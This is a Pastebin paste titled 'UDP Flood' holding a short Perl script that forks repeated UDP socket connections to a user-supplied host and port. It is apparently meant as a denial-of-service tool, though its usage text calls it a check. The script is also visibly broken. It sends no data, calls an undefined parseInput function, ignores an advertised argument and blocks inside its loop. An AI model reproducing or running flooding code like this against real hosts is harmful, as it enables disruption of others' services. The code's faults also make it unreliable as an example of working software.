Advertisement
Guest User

UDP Flood

a guest
Mar 15th, 2012
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.05 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. use common::sense;
  4. use IO::Socket::INET;
  5. use AnyEvent::Util;
  6. use List::Util qw(shuffle);
  7.  
  8. sub usage {
  9.    printf "Usage: %s <hostaddr> <port> <packs> <request>\n", $0;
  10.    printf "   <hostaddr> - Adress to check.\n";
  11.    printf "   <port>     - Port to check 1-1024(default is 80).\n";
  12.    printf "   <request>  - Number of requests(default is 10).\n";
  13.    exit;
  14. }
  15.  
  16. my $host = $ARGV[0] || usage;
  17. my $port = $ARGV[1] || 80;
  18. my $request = $ARGV[2] || 10;
  19.  
  20. my $cv = AE::cv;
  21.  
  22.     $AnyEvent::Util::MAX_FORKS = 10;
  23.  
  24. for (1 .. $request){
  25.  
  26.     $cv->begin;
  27.         fork_call {
  28.            
  29.         } sub {
  30.            &connect($port, $host);
  31.             $cv->end;
  32.         };
  33.  
  34.     $cv->()
  35. }
  36.  
  37. $cv->wait;
  38.  
  39. sub connect{
  40.     my $pr = shift;
  41.     my $ht = shift;
  42.     my $ping = IO::Socket::INET->new(
  43.         PeerPort => $pr ,
  44.         PeerAddr => $ht,
  45.         Proto => 'udp',
  46.         LocalAddr => 'localhost',
  47.         Broadcast => 1,
  48.         Type => SOCK_DGRAM
  49.     )
  50.     or die "Can't bind : $@\n";
  51.       my $string = 'a';
  52.   $ping->recv($string,1024);
  53.   print &parseInput($string);
  54.  
  55. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement